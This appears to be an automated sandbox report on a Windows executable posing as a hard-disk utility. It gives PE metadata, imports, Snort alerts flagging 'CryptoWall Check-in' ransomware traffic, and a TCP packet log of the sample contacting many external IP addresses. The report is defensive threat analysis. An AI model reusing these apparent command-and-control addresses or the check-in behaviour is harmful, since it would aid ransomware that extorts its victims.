                                                                                                                                                                                                                                                                                                    Programming Language:
                                                                                                                                                                                                                                                                                                    • [ASM] VS2008 SP1 build 30729
                                                                                                                                                                                                                                                                                                    • [ C ] VS2008 SP1 build 30729
                                                                                                                                                                                                                                                                                                    • [ C ] VS2005 build 50727
                                                                                                                                                                                                                                                                                                    • [IMP] VS2005 build 50727
                                                                                                                                                                                                                                                                                                    • [RES] VS2008 build 21022
                                                                                                                                                                                                                                                                                                    • [LNK] VS2008 SP1 build 30729
                                                                                                                                                                                                                                                                                                    • [C++] VS2008 SP1 build 30729

                                                                                                                                                                                                                                                                                                    Data Directories

                                                                                                                                                                                                                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x507f40x154.rdata
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x550000x9a28.rsrc
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x333700x1c.rdata
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x4cc700x40.rdata
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x330000x32c.rdata
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                                                                                    Sections

                                                                                                                                                                                                                                                                                                    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                                                                                    .text0x10000x3134a0x31400False0.667433375635data7.55787313794IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                                                    .rdata0x330000x1ea520x1ec00False0.882486979167data7.74640487848IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                                                    .data0x520000x2d7c0x1200False0.228081597222data2.50994661536IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                                                    .rsrc0x550000x9a280x9c00False0.265274439103data6.04397375602IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                                                                                                    Resources

                                                                                                                                                                                                                                                                                                    NameRVASizeTypeLanguageCountry
                                                                                                                                                                                                                                                                                                    XML0x5572c0x1293XML 1.0 document, UTF-8 Unicode (with BOM) textEnglishUnited States
                                                                                                                                                                                                                                                                                                    XML0x569c00x1317XML 1.0 document, UTF-8 Unicode (with BOM) textEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x57cd80x528GLS_BINARY_LSB_FIRSTEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x582000x1d0dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x583d00x1e4dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x585b40x1d0dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x587840x1d0dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x589540x1d0dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x58b240x1d0dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x58cf40x1d0dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x58ec40x1d0dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x590940x1d0dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_BITMAP0x592640x1d0dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_DIALOG0x594340x100dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_DIALOG0x595340x11cdataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_DIALOG0x596500x60dataEnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_RCDATA0x596b00x877Delphi compiled form 'TForm_AAM_APM'EnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_RCDATA0x59f280x1c16Delphi compiled form 'TForm_HDDBenchmark'EnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_RCDATA0x5bb400xccfDelphi compiled form 'TForm_HDDSCAN'EnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_RCDATA0x5c8100x6adDelphi compiled form 'TForm_SMARTInfos'EnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_RCDATA0x5cec00x96cDelphi compiled form 'TForm_SMARTTest'EnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_RCDATA0x5d82c0x4d0Delphi compiled form 'TForm_WO_Password'EnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_RCDATA0x5dcfc0x273Delphi compiled form 'TForm_WO_Splash'EnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_RCDATA0x5df700x4b7Delphi compiled form 'TForm_YesNo'EnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_RCDATA0x5e4280x4a2PC bitmap, Windows 3.x format, 9 x 9 x 8EnglishUnited States
                                                                                                                                                                                                                                                                                                    RT_MANIFEST0x5e8cc0x15aASCII text, with CRLF line terminatorsEnglishUnited States

                                                                                                                                                                                                                                                                                                    Imports

                                                                                                                                                                                                                                                                                                    DLLImport
                                                                                                                                                                                                                                                                                                    KERNEL32.dllFlushFileBuffers, GetConsoleCP, GetStringTypeW, GetStringTypeA, LCMapStringW, LCMapStringA, GetLocaleInfoA, WriteConsoleW, GetConsoleOutputCP, WriteConsoleA, MultiByteToWideChar, IsValidCodePage, GetOEMCP, GetACP, GetCPInfo, InitializeCriticalSectionAndSpinCount, GetCurrentProcessId, GetTickCount, QueryPerformanceCounter, GetFileType, SetHandleCount, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetEnvironmentStrings, FreeEnvironmentStringsA, GetTimeZoneInformation, WideCharToMultiByte, HeapSize, SetFilePointer, GetCurrentThreadId, SetLastError, InterlockedIncrement, TlsFree, TlsSetValue, TlsAlloc, TlsGetValue, SetStdHandle, CompareStringA, CompareStringW, lstrcpyA, GetVolumeInformationW, GetVolumeNameForVolumeMountPointW, GetVersion, FileTimeToLocalFileTime, CloseHandle, GetModuleHandleA, WaitForMultipleObjects, CreateFileMappingW, LoadLibraryA, GetProcAddress, GetLastError, GlobalUnlock, ExitThread, lstrcatA, GetModuleFileNameA, GetStdHandle, EnumResourceLanguagesA, FileTimeToSystemTime, GlobalAlloc, WriteFile, Sleep, GetModuleHandleW, VirtualAlloc, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, VirtualFree, HeapCreate, RtlUnwind, RaiseException, GetStartupInfoA, GetCommandLineA, GetSystemTimeAsFileTime, GetConsoleMode, SetEnvironmentVariableA, HeapReAlloc, IsDebuggerPresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, HeapFree, GetDateFormatA, SetEvent, GetTimeFormatA, GlobalLock, HeapAlloc, CreateFileA, GetCommandLineW, InterlockedDecrement, ExitProcess
                                                                                                                                                                                                                                                                                                    USER32.dllEnumChildWindows, DispatchMessageA, GetSystemMetrics, IsWindowVisible, GetForegroundWindow, TranslateMessage, SetWindowTextA, EnableWindow, GetDC, BeginPaint, GetWindowTextLengthA, CreateMenu, GetClientRect, IsWindowEnabled, LoadBitmapA, LoadCursorA, GetDlgCtrlID, CheckDlgButton, GetSysColor, DefWindowProcA, GetDlgItem, ReleaseDC, PeekMessageA, CreateWindowExA, GetWindowTextW, GetWindowLongA, InvalidateRect, SetWindowLongA, GetWindow, SendMessageA, GetFocus, EndPaint, SetCursor, HideCaret, SetActiveWindow, PostQuitMessage, FillRect, GetWindowTextA
                                                                                                                                                                                                                                                                                                    GDI32.dllSetTextAlign, GetObjectA, SetTextColor, Rectangle, BitBlt, DeleteDC, GetDeviceCaps, StretchBlt, CreateFontIndirectA, SetBkColor, CreateDCA, CreateBitmap, DeleteObject, SelectObject, CreateCompatibleDC, CreateCompatibleBitmap
                                                                                                                                                                                                                                                                                                    WINSPOOL.DRVEnumPrintersA
                                                                                                                                                                                                                                                                                                    ADVAPI32.dllRegOpenKeyExA, RegCloseKey, RegQueryValueExA
                                                                                                                                                                                                                                                                                                    SHELL32.dllCommandLineToArgvW
                                                                                                                                                                                                                                                                                                    ole32.dllCoMarshalInterface, OleFlushClipboard, StgOpenStorage, CoMarshalInterThreadInterfaceInStream, OleUninitialize, GetHGlobalFromStream, OleInitialize, ReadClassStg, CreateStreamOnHGlobal, OleSetClipboard, OleIsCurrentClipboard
                                                                                                                                                                                                                                                                                                    OLEAUT32.dllOleCreatePictureIndirect, OleCreateFontIndirect
                                                                                                                                                                                                                                                                                                    WININET.dllInternetSetOptionA
                                                                                                                                                                                                                                                                                                    WINMM.dlltimeGetTime, PlaySoundW
                                                                                                                                                                                                                                                                                                    VERSION.dllGetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
                                                                                                                                                                                                                                                                                                    COMCTL32.dllImageList_Create, ImageList_Add, ImageList_Draw
                                                                                                                                                                                                                                                                                                    gdiplus.dllGdipDisposeImage, GdipCloneImage, GdipGetImageWidth, GdiplusStartup, GdipAlloc, GdipCreateBitmapFromScan0, GdipGetImagePixelFormat, GdipGetImageHeight, GdipFree
                                                                                                                                                                                                                                                                                                    IMM32.dllImmGetOpenStatus, ImmSetOpenStatus, ImmGetContext, ImmReleaseContext
                                                                                                                                                                                                                                                                                                    UxTheme.dllIsAppThemed
                                                                                                                                                                                                                                                                                                    POWRPROF.dllGetPwrCapabilities

                                                                                                                                                                                                                                                                                                    Possible Origin

                                                                                                                                                                                                                                                                                                    Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                                                                                                                    EnglishUnited States

                                                                                                                                                                                                                                                                                                    Network Behavior

                                                                                                                                                                                                                                                                                                    Snort IDS Alerts

                                                                                                                                                                                                                                                                                                    TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                                                                    03/23/21-11:34:57.221233TCP2018452ET TROJAN CryptoWall Check-in4973680192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:19.762093TCP2018452ET TROJAN CryptoWall Check-in4974880192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:28.107562ICMP402ICMP Destination Unreachable Port Unreachable192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:48.787245TCP2018452ET TROJAN CryptoWall Check-in4975280192.168.2.3103.224.212.220
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:51.521769TCP2018452ET TROJAN CryptoWall Check-in4975380192.168.2.3209.151.150.34
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:52.100021ICMP402ICMP Destination Unreachable Port Unreachable192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:53.521111TCP2018452ET TROJAN CryptoWall Check-in4975480192.168.2.378.153.216.15
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:54.467664TCP2018452ET TROJAN CryptoWall Check-in4975580192.168.2.3178.254.0.189
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:56.364697TCP2018452ET TROJAN CryptoWall Check-in4975780192.168.2.3149.210.208.200
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:56.648390TCP2018452ET TROJAN CryptoWall Check-in4975880192.168.2.364.190.62.111
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:56.673443TCP1201ATTACK-RESPONSES 403 Forbidden804975864.190.62.111192.168.2.3
                                                                                                                                                                                                                                                                                                    03/23/21-11:35:57.228213TCP2018452ET TROJAN CryptoWall Check-in4975980192.168.2.3156.38.154.7
                                                                                                                                                                                                                                                                                                    03/23/21-11:36:01.463126TCP2018452ET TROJAN CryptoWall Check-in4976180192.168.2.3173.236.34.242
                                                                                                                                                                                                                                                                                                    03/23/21-11:36:03.430452TCP2018452ET TROJAN CryptoWall Check-in4976280192.168.2.3136.243.138.29
                                                                                                                                                                                                                                                                                                    03/23/21-11:36:03.866810TCP2018452ET TROJAN CryptoWall Check-in4976380192.168.2.3208.80.122.2
                                                                                                                                                                                                                                                                                                    03/23/21-11:36:04.184617TCP1201ATTACK-RESPONSES 403 Forbidden8049764152.199.21.175192.168.2.3
                                                                                                                                                                                                                                                                                                    03/23/21-11:36:04.672038TCP2018452ET TROJAN CryptoWall Check-in4976580192.168.2.3184.168.131.241
                                                                                                                                                                                                                                                                                                    03/23/21-11:36:04.871364TCP1201ATTACK-RESPONSES 403 Forbidden8049765184.168.131.241192.168.2.3
                                                                                                                                                                                                                                                                                                    03/23/21-11:36:05.196933TCP2018452ET TROJAN CryptoWall Check-in4976680192.168.2.3109.95.158.146
                                                                                                                                                                                                                                                                                                    03/23/21-11:36:05.815242TCP2018452ET TROJAN CryptoWall Check-in4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    03/23/21-11:37:52.387704TCP2018452ET TROJAN CryptoWall Check-in4978480192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    03/23/21-11:38:14.808337TCP2018452ET TROJAN CryptoWall Check-in4979280192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    03/23/21-11:33:30.648980TCP2018452ET TROJAN CryptoWall Check-in4971780192.168.2.367.227.226.240

                                                                                                                                                                                                                                                                                                    Network Port Distribution

                                                                                                                                                                                                                                                                                                    TCP Packets

                                                                                                                                                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.521797895 CET4971780192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.647948027 CET804971767.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.648051977 CET4971780192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.648979902 CET4971780192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.649116039 CET4971780192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.649207115 CET4971780192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.772825956 CET804971767.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.772850037 CET804971767.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.772857904 CET804971767.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.772922039 CET804971767.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.773622036 CET4971780192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.777837038 CET4971780192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.897450924 CET804971767.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.901732922 CET804971767.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.959608078 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:31.152079105 CET8049719187.141.74.3192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:31.152214050 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:31.153096914 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:31.153290033 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:31.153414011 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:31.652919054 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:32.277961016 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:33.590558052 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:35.981360912 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:38.294028044 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:40.591082096 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:45.294629097 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:54.483012915 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:12.796936035 CET4971980192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:13.518223047 CET4972980192.168.2.397.74.232.166
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:16.547369957 CET4972980192.168.2.397.74.232.166
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:22.547693968 CET4972980192.168.2.397.74.232.166
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:35.136382103 CET4973480192.168.2.350.63.172.241
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:38.127250910 CET4973480192.168.2.350.63.172.241
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:44.143342972 CET4973480192.168.2.350.63.172.241
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.118354082 CET4973680192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.219815016 CET80497363.223.115.185192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.220333099 CET4973680192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.221232891 CET4973680192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.221489906 CET4973680192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.221602917 CET4973680192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.321886063 CET80497363.223.115.185192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.322271109 CET80497363.223.115.185192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.322429895 CET4973680192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.326658010 CET4973680192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.350298882 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.366568089 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.367902994 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.391505003 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.407780886 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.412193060 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.412221909 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.412290096 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.412354946 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.427050114 CET80497363.223.115.185192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.507797956 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.524008989 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.524200916 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.524274111 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.539351940 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.555547953 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.719912052 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.719940901 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.719968081 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.719981909 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720002890 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720014095 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720041037 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720056057 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720065117 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720086098 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720109940 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720117092 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720140934 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720153093 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720182896 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720196962 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720215082 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720237017 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720244884 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720267057 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720293045 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720299006 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720320940 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720335007 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720354080 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720383883 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720422029 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720441103 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720463991 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720501900 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.720537901 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.721132994 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.721169949 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.721210957 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.721235991 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.721282959 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.751214981 CET49737443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.768896103 CET44349737172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.490978956 CET4973880192.168.2.3103.29.196.181
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:01.504148960 CET4973880192.168.2.3103.29.196.181
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:07.505023003 CET4973880192.168.2.3103.29.196.181
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.741935015 CET4974880192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.761209011 CET804974881.88.57.88192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.761442900 CET4974880192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.762093067 CET4974880192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.762295961 CET4974880192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.762417078 CET4974880192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.779205084 CET804974881.88.57.88192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:23.908821106 CET804974881.88.57.88192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:23.909050941 CET4974880192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:23.909303904 CET4974880192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:23.925883055 CET804974881.88.57.88192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:26.107950926 CET4974980192.168.2.392.51.129.66
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:29.115869045 CET4974980192.168.2.392.51.129.66
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:35.116274118 CET4974980192.168.2.392.51.129.66
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.609181881 CET4975280192.168.2.3103.224.212.220
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.786427975 CET8049752103.224.212.220192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.786577940 CET4975280192.168.2.3103.224.212.220
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.787245035 CET4975280192.168.2.3103.224.212.220
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.787432909 CET4975280192.168.2.3103.224.212.220
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.787506104 CET4975280192.168.2.3103.224.212.220
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.964818001 CET8049752103.224.212.220192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.997423887 CET8049752103.224.212.220192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.997803926 CET4975280192.168.2.3103.224.212.220
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:49.004404068 CET4975280192.168.2.3103.224.212.220
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:49.181427956 CET8049752103.224.212.220192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.423507929 CET4975380192.168.2.3209.151.150.34
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.521100044 CET8049753209.151.150.34192.168.2.3
